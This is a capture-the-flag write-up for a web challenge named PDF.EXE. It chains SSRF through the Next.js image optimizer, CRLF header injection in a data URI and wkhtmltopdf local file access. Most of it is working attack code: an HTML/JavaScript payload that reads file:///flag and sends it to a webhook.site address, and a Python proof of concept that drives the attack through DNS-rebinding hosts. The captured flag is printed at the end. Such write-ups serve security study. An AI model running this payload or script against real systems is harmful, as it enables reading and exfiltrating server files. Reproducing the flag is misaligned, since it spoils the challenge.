CTF-Writeups

PDF.EXE Writeup

Summary

Key Findings

1) SSRF via Next.js image optimizer

2) CRLF header injection in data URI

3) Local file access in wkhtmltopdf

Exploit Chain

1) Create a data: URI that injects a Content-Disposition header containing HTML:

data:plain/text\r\nContent-Disposition: <HTML>,X

2) The HTML contains:

3) Use /_next/image to SSRF the internal endpoint:

/_next/image?url=http://:5000/generate?data=&w=64&q=75

4) Rebinding host example:

Working Payload (HTML in Content-Disposition)

<meta name="pdfkit-enable-local-file-access" content="">
<script>
(function(){
  function s(m){
    new Image().src="http://webhook.site/UUID?d="+encodeURIComponent(m);
  }
  s("jsok");
  try{
    var c=String.fromCharCode(44);
    var code="var x=new XMLHttpRequest();x.open('GET'"+c+"'file:///flag'"+c+"false);x.send(null);s('flag='+x.responseText)";
    eval(code);
  }catch(e){
    s("err="+e);
  }
})();
</script>

The String.fromCharCode(44) trick avoids literal commas because the data: mediatype uses , as a delimiter.

End-to-End PoC (Python)

import json, random, string, time, urllib.parse, urllib.request

TARGET = "http://pdf.webctf.online/_next/image"
RB_HOSTS = ["01010101.7f000001.rbndr.us","7f000001.01010101.rbndr.us"]

req = urllib.request.Request("https://webhook.site/token", method="POST")
with urllib.request.urlopen(req) as r:
    token = json.loads(r.read().decode())["uuid"]
print("webhook token:", token)

html = (
    '<meta name="pdfkit-enable-local-file-access" content="">'
    "<script>(function(){function s(m){new Image().src='http://webhook.site/%s?d='+encodeURIComponent(m)}"
    "s('jsok');try{var c=String.fromCharCode(44);"
    "var code=\"var x=new XMLHttpRequest();x.open('GET'\"+c+\"'file:///flag'\"+c+\"false);"
    "x.send(null);s('flag='+x.responseText)\";eval(code)}catch(e){s('err='+e)}})();</script>"
) % token

data_uri = "data:plain/text\r\nContent-Disposition: " + html + ",X"
encoded_data = urllib.parse.quote(data_uri, safe="")

def make_url(rb_host, i):
    internal = f"http://{rb_host}:5000/generate?data={encoded_data}&r={i}"
    return TARGET + "?url=" + urllib.parse.quote(internal, safe="") + "&w=64&q=75"

for i in range(25):
    rb = RB_HOSTS[i % len(RB_HOSTS)]
    try:
        with urllib.request.urlopen(make_url(rb, i), timeout=12) as r:
            r.read(50)
    except Exception:
        pass
    time.sleep(0.2)

print("check https://webhook.site/%s" % token)

Flag

0xL4ugh{my_pdfs_are_something_else_right?_179453d559cb1bec}